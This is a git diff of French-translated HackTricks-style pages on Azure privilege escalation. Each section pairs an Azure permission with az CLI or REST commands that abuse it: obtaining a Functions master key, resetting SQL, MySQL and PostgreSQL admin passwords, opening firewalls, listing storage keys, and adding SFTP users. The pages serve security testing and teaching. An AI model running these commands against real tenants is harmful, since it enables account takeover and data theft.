Avec cette autorisation, il est possible de [récupérer le **jeton admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui peut ensuite être utilisé pour récupérer la **clé maître** et donc accéder et modifier le code de la fonction :
Avec cette autorisation, il est possible de [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui peut ensuite être utilisé pour récupérer la **master key** et donc accéder et modifier le code de la fonction.
Cependant, lors de mes dernières vérifications, aucun token n'a été retourné, il se peut donc qu'il soit désactivé ou ne fonctionne plus, mais voici comment vous pourriez le faire :
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Cette autorisation permet de **activer des fonctions** qui pourraient être désactivées (ou de les désactiver).
```bash
@@ -342,7 +333,7 @@ Il est également possible de voir si une fonction est activée ou désactivée
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Avec ces autorisations, il est possible de **modifier le conteneur exécuté par une application de fonction** configurée pour exécuter un conteneur. Cela permettrait à un attaquant de télécharger une application de conteneur de fonction azure malveillante sur docker hub (par exemple) et de faire exécuter la fonction.
```bash
@@ -350,7 +341,7 @@ az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Avec ces autorisations, il est possible de **lier une nouvelle identité gérée par l'utilisateur à une fonction**. Si la fonction était compromise, cela permettrait d'escalader les privilèges à n'importe quelle identité gérée par l'utilisateur.
```bash
@@ -374,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
### Changer le dépôt Github
J'ai essayé de changer le dépôt Github d'où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, **le nouveau code n'a pas été chargé** (probablement parce qu'il s'attend à ce que l'Action Github mette à jour le code).\
De plus, **les informations d'identité fédérées de l'identité gérée n'ont pas été mises à jour** permettant le nouveau dépôt, donc il semble que cela ne soit pas très utile.
De plus, la **créance fédérée de l'identité gérée n'a pas été mise à jour** permettant le nouveau dépôt, donc il semble que cela ne soit pas très utile.
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -10,9 +10,9 @@ Pour plus d'informations sur ce service, consultez :
../az-services/az-keyvault.md
{{#endref}}
### Microsoft.KeyVault/vaults/write
### `Microsoft.KeyVault/vaults/write`
Un attaquant ayant cette permission pourra modifier la politique d'un coffre-fort de clés (le coffre-fort de clés doit utiliser des politiques d'accès au lieu de RBAC).
Un attaquant disposant de cette autorisation pourra modifier la politique d'un coffre-fort de clés (le coffre-fort de clés doit utiliser des politiques d'accès au lieu de RBAC).
```bash
# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>

View File

@@ -5,15 +5,13 @@
## Logic Apps Privesc
Pour plus d'informations sur SQL Database, consultez :
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
Avec cette autorisation, vous pouvez créer ou mettre à jour des workflows Azure Logic Apps. Les workflows définissent des processus automatisés et des intégrations entre divers systèmes et services.
{% code overflow="wrap" %}
Avec cette permission, vous pouvez créer ou mettre à jour des workflows Azure Logic Apps. Les workflows définissent des processus automatisés et des intégrations entre divers systèmes et services.
```bash
az logic workflow create \
--resource-group <resource_group_name> \
@@ -26,8 +24,6 @@ az logic workflow update \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
Et après l'avoir modifié, vous pouvez l'exécuter avec :
```bash
az rest \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
Avec ces autorisations, vous pouvez déployer des workflows Logic App en utilisant des déploiements de fichiers ZIP. Ces autorisations permettent des actions telles que la lecture des détails de l'application, l'accès aux informations d'identification de publication, l'écriture de modifications et la liste des configurations d'application. Avec les autorisations de démarrage, vous pouvez mettre à jour et déployer une nouvelle Logic App avec le contenu souhaité.
{% code overflow="wrap" %}
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
Avec ces autorisations, vous pouvez déployer des workflows Logic App en utilisant des déploiements de fichiers ZIP. Ces autorisations permettent des actions telles que la lecture des détails de l'application, l'accès aux informations d'identification de publication, l'écriture de modifications et la liste des configurations de l'application. Avec les autorisations de démarrage, vous pouvez mettre à jour et déployer une nouvelle Logic App avec le contenu souhaité.
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQL Database Privesc
Pour plus d'informations sur SQL Database, consultez :
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
Avec cette permission, vous pouvez créer, mettre à jour ou supprimer des instances de MySQL Flexible Server sur Azure. Cela inclut la provision de nouveaux serveurs, la modification des configurations de serveurs existants ou la mise hors service de serveurs.
{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name <ServerName> \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier <PricingTier> \
--version <MySQLVersion>
```
{% endcode %}
Par exemple, ces autorisations permettent de changer le mot de passe MySQL, utile bien sûr dans le cas où l'authentification MySQL est activée.
{% code overflow="wrap" %}
```bash
az mysql flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé. Pour l'activer :
{% code overflow="wrap" %}
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé, pour l'activer :
```bash
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
Avec cette autorisation, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur MySQL Flexible. Cela peut être exploité en se définissant soi-même ou un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur MySQL. Il est important que le flexible-server ait des identités gérées assignées à un utilisateur pour être utilisé.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur MySQL Flexible. Cela peut être exploité en se définissant soi-même ou un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur MySQL. Il est important que le flexible-server ait des identités gérées assignées à un utilisateur à utiliser.
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,15 +5,13 @@
## PostgreSQL Privesc
Pour plus d'informations sur SQL Database, consultez :
{% content-ref url="../az-services/az-postgresql.md" %}
{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
Avec cette permission, vous pouvez créer, mettre à jour ou supprimer des instances de serveurs flexibles PostgreSQL sur Azure. Cela inclut la provision de nouveaux serveurs, la modification des configurations de serveurs existants ou la mise hors service de serveurs.
{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name <ServerName> \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier <PricingTier> \
--version <PostgreSQLVersion>
```
{% endcode %}
Par exemple, ces autorisations permettent de changer le mot de passe PostgreSQL, utile bien sûr dans le cas où l'authentification PostgreSQL est activée.
{% code overflow="wrap" %}
```bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé. Pour l'activer :
{% code overflow="wrap" %}
De plus, il est nécessaire d'activer l'accès public si vous souhaitez accéder à partir d'un point de terminaison non privé, pour l'activer :
```bash
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
Avec cette permission, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur flexible PostgreSQL. Cela peut être exploité en se définissant soi-même ou un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur PostgreSQL. La mise à jour d'un principal existant n'est pas encore prise en charge, donc s'il y en a un créé, vous devez d'abord le supprimer.
Avec cette autorisation, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur flexible PostgreSQL. Cela peut être exploité en se définissant soi-même ou un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur PostgreSQL. La mise à jour d'un principal existant n'est pas encore prise en charge, donc s'il y en a un créé, vous devez d'abord le supprimer.
Il est important que le serveur flexible ait des identités gérées assignées à un utilisateur à utiliser.
{% code overflow="wrap" %}
Il est important que le serveur flexible ait des identités gérées assignées à utiliser.
```bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Si vous avez ces autorisations, vous pouvez élever vos privilèges en lisant ou en créant des clés d'accès partagé. Ces clés permettent un contrôle total sur l'espace de noms Service Bus, y compris la gestion des files d'attente, des sujets et l'envoi/réception de messages, contournant potentiellement les contrôles d'accès basés sur les rôles (RBAC).
```bash

View File

@@ -10,9 +10,9 @@ Pour plus d'informations sur SQL Database, consultez :
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
Avec ces permissions, un utilisateur peut effectuer une élévation de privilèges en mettant à jour ou en créant des serveurs SQL Azure et en modifiant des configurations critiques, y compris les identifiants administratifs. Cette permission permet à l'utilisateur de mettre à jour les propriétés du serveur, y compris le mot de passe administrateur SQL, permettant un accès ou un contrôle non autorisé sur le serveur. Ils peuvent également créer de nouveaux serveurs, introduisant potentiellement une infrastructure fantôme à des fins malveillantes. Cela devient particulièrement critique dans les environnements où "Microsoft Entra Authentication Only" est désactivé, car ils peuvent exploiter l'authentification basée sur SQL pour obtenir un accès illimité.
Avec ces permissions, un utilisateur peut effectuer une élévation de privilèges en mettant à jour ou en créant des serveurs SQL Azure et en modifiant des configurations critiques, y compris les identifiants administratifs. Cette permission permet à l'utilisateur de mettre à jour les propriétés du serveur, y compris le mot de passe administrateur du serveur SQL, permettant un accès ou un contrôle non autorisé sur le serveur. Ils peuvent également créer de nouveaux serveurs, introduisant potentiellement une infrastructure fantôme à des fins malveillantes. Cela devient particulièrement critique dans les environnements où "Microsoft Entra Authentication Only" est désactivé, car ils peuvent exploiter l'authentification basée sur SQL pour obtenir un accès illimité.
```bash
# Change the server password
az sql server update \
@@ -35,7 +35,7 @@ az sql server update \
--resource-group <resource-group> \
--enable-public-network true
```
### "Microsoft.Sql/servers/firewallRules/write"
### `Microsoft.Sql/servers/firewallRules/write`
Un attaquant peut manipuler les règles de pare-feu sur les serveurs Azure SQL pour permettre un accès non autorisé. Cela peut être exploité pour ouvrir le serveur à des adresses IP spécifiques ou à des plages d'IP entières, y compris des IP publiques, permettant l'accès à des acteurs malveillants. Cette activité post-exploitation peut être utilisée pour contourner les contrôles de sécurité réseau existants, établir une persistance ou faciliter le mouvement latéral au sein de l'environnement en exposant des ressources sensibles.
```bash
@@ -58,7 +58,7 @@ az sql server firewall-rule update \
De plus, la permission `Microsoft.Sql/servers/outboundFirewallRules/delete` vous permet de supprimer une règle de pare-feu.
REMARQUE : Il est nécessaire d'avoir l'accès public activé.
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
Avec cette permission, vous pouvez créer, modifier ou supprimer des règles de pare-feu IPv6 sur un serveur SQL Azure. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de contourner les configurations de sécurité réseau existantes et d'accéder de manière non autorisée au serveur. En ajoutant une règle qui permet le trafic de n'importe quelle adresse IPv6, l'attaquant pourrait ouvrir le serveur à un accès externe.
```bash
@@ -72,7 +72,7 @@ az sql server firewall-rule create \
De plus, la permission `Microsoft.Sql/servers/ipv6FirewallRules/delete` vous permet de supprimer une règle de pare-feu.
REMARQUE : Il est nécessaire d'avoir l'accès public activé.
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
Avec ces permissions, vous pouvez privesc dans un environnement Azure SQL Server en accédant aux bases de données SQL et en récupérant des informations critiques. En utilisant la commande ci-dessous, un attaquant ou un utilisateur autorisé peut se définir ou définir un autre compte comme administrateur Azure AD. Si "Microsoft Entra Authentication Only" est activé, vous pouvez accéder au serveur et à ses instances. Voici la commande pour définir l'administrateur Azure AD pour un serveur SQL :
```bash
@@ -82,9 +82,9 @@ az sql server ad-admin create \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
Avec ces autorisations, vous pouvez configurer et appliquer "Microsoft Entra Authentication Only" sur un serveur SQL Azure, ce qui pourrait faciliter l'escalade de privilèges dans certains scénarios. Un attaquant ou un utilisateur autorisé avec ces autorisations peut activer ou désactiver l'authentification uniquement Azure AD.
Avec ces autorisations, vous pouvez configurer et appliquer "Authentification uniquement Microsoft Entra" sur un serveur SQL Azure, ce qui pourrait faciliter l'escalade de privilèges dans certains scénarios. Un attaquant ou un utilisateur autorisé avec ces autorisations peut activer ou désactiver l'authentification uniquement Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \

View File

@@ -10,13 +10,13 @@ Pour plus d'informations sur le stockage, consultez :
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/listkeys/action
### `Microsoft.Storage/storageAccounts/listkeys/action`
Un principal avec cette permission pourra lister (et les valeurs secrètes) des **clés d'accès** des comptes de stockage. Cela permet au principal d'escalader ses privilèges sur les comptes de stockage.
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
Un principal avec cette permission pourra renouveler et obtenir la nouvelle valeur secrète des **clés d'accès** des comptes de stockage. Cela permet au principal d'escalader ses privilèges sur les comptes de stockage.
@@ -24,9 +24,9 @@ De plus, dans la réponse, l'utilisateur obtiendra la valeur de la clé renouvel
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### Microsoft.Storage/storageAccounts/write
### `Microsoft.Storage/storageAccounts/write`
Un principal avec cette permission pourra créer ou mettre à jour un compte de stockage existant en mettant à jour n'importe quel paramètre comme les règles réseau ou les politiques.
Un principal avec cette permission pourra créer ou mettre à jour un compte de stockage existant en mettant à jour n'importe quel paramètre comme les règles de réseau ou les politiques.
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow
@@ -36,7 +36,7 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
La première permission permet de **modifier les politiques d'immuabilité** dans les conteneurs et la seconde de les supprimer.
@@ -56,19 +56,19 @@ az storage container immutability-policy update \
```
## Privesc spécifique aux partages de fichiers
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
Cela devrait permettre à un utilisateur ayant cette permission de prendre possession des fichiers à l'intérieur du système de fichiers partagé.
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
Cela devrait permettre à un utilisateur ayant cette permission de modifier les permissions des fichiers à l'intérieur du système de fichiers partagé.
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
Cela devrait permettre à un utilisateur ayant cette permission d'effectuer des actions à l'intérieur d'un système de fichiers en tant que superutilisateur.
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
Avec cette permission, un attaquant peut créer et mettre à jour (s'il a la permission `Microsoft.Storage/storageAccounts/localusers/read`) un nouvel utilisateur local pour un compte de stockage Azure (configuré avec un espace de noms hiérarchique), y compris la spécification des permissions et du répertoire personnel de l'utilisateur. Cette permission est significative car elle permet à l'attaquant de se donner accès à un compte de stockage avec des permissions spécifiques telles que lecture (r), écriture (w), suppression (d) et liste (l) et plus encore. De plus, les méthodes d'authentification utilisées peuvent être des mots de passe générés par Azure et des paires de clés SSH. Il n'y a pas de vérification si un utilisateur existe déjà, donc vous pouvez écraser d'autres utilisateurs qui sont déjà présents. L'attaquant pourrait élever ses privilèges et obtenir un accès SSH au compte de stockage, exposant potentiellement ou compromettant des données sensibles.
```bash
@@ -80,9 +80,9 @@ az storage account local-user create \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
Avec cette autorisation, un attaquant peut régénérer le mot de passe d'un utilisateur local dans un compte de stockage Azure. Cela accorde à l'attaquant la capacité d'obtenir de nouvelles informations d'identification d'authentification (comme un mot de passe SSH ou SFTP) pour l'utilisateur. En tirant parti de ces informations d'identification, l'attaquant pourrait obtenir un accès non autorisé au compte de stockage, effectuer des transferts de fichiers ou manipuler des données dans les conteneurs de stockage. Cela pourrait entraîner une fuite de données, une corruption ou une modification malveillante du contenu du compte de stockage.
Avec cette autorisation, un attaquant peut régénérer le mot de passe d'un utilisateur local dans un compte de stockage Azure. Cela accorde à l'attaquant la capacité d'obtenir de nouvelles informations d'identification d'authentification (comme un mot de passe SSH ou SFTP) pour l'utilisateur. En utilisant ces informations d'identification, l'attaquant pourrait obtenir un accès non autorisé au compte de stockage, effectuer des transferts de fichiers ou manipuler des données dans les conteneurs de stockage. Cela pourrait entraîner une fuite de données, une corruption ou une modification malveillante du contenu du compte de stockage.
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -94,7 +94,7 @@ Pour accéder à Azure Blob Storage via SFTP (is_hns_enabled doit être vrai) en
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
Avec ces autorisations, un attaquant peut restaurer un conteneur supprimé en spécifiant son ID de version supprimée ou annuler la suppression de blobs spécifiques dans un conteneur, s'ils ont été précédemment supprimés de manière douce. Cette élévation de privilèges pourrait permettre à un attaquant de récupérer des données sensibles qui étaient censées être définitivement supprimées, ce qui pourrait entraîner un accès non autorisé.
```bash
@@ -110,9 +110,9 @@ az storage blob undelete \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
Avec ces autorisations, un attaquant peut restaurer un partage de fichiers Azure supprimé en spécifiant son ID de version supprimée. Cette élévation de privilèges pourrait permettre à un attaquant de récupérer des données sensibles qui devaient être définitivement supprimées, ce qui pourrait entraîner un accès non autorisé.
Avec ces autorisations, un attaquant peut restaurer un partage de fichiers Azure supprimé en spécifiant son ID de version supprimée. Cette élévation de privilèges pourrait permettre à un attaquant de récupérer des données sensibles qui étaient censées être définitivement supprimées, ce qui pourrait entraîner un accès non autorisé.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \

View File

@@ -4,7 +4,7 @@
## Informations de base
Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant notamment **l'authentification, l'autorisation et la gestion des utilisateurs**.
Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant principalement **l'authentification, l'autorisation et la gestion des utilisateurs**.
Les fonctionnalités clés d'Azure AD incluent **l'authentification multi-facteurs** et **l'accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités élèvent considérablement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion des identités des utilisateurs basée sur le cloud.
@@ -716,7 +716,7 @@ Pour plus d'informations sur les Applications, consultez :
Lorsqu'une application est générée, 2 types de permissions sont accordées :
- **Permissions** données au **Service Principal**
- **Permissions** accordées au **Service Principal**
- **Permissions** que l'**application** peut avoir et utiliser **au nom de l'utilisateur**.
{{#tabs }}
@@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Une application avec la permission **`AppRoleAssignment.ReadWrite`** peut **s'élever au niveau d'Administrateur Global** en se donnant le rôle.\
> Une application avec la permission **`AppRoleAssignment.ReadWrite`** peut **s'élever au statut d'Administrateur Global** en se donnant le rôle.\
> Pour plus d'informations [**vérifiez ceci**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#endtab }}
{{#endtabs }}
```
{{#endtab }}
{{#tab name="Raw" }}
{{#tab name="Brut" }}
```bash
# Obtenir des autorisations sur une ressource en utilisant ARM directement
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
@@ -913,13 +906,12 @@ Headers = @{
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Rôles Entra ID
For more information about Azure roles check:
Pour plus d'informations sur les rôles Azure, consultez :
{{#ref}}
../az-basic-information/
@@ -927,134 +919,125 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Liste des modèles de rôles Entra ID
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# Liste des rôles Entra ID intégrés activés
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Liste de tous les rôles Entra ID avec leurs permissions (y compris les rôles personnalisés)
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# Liste uniquement des rôles Entra ID personnalisés
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Liste de tous les rôles Entra ID assignés
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# Liste des membres d'un rôle Entra ID
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# Liste des rôles Entra ID assignés à un utilisateur
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# Liste des rôles Entra ID assignés à un groupe
# List Entra ID roles assigned to a group
az rest --method GET \
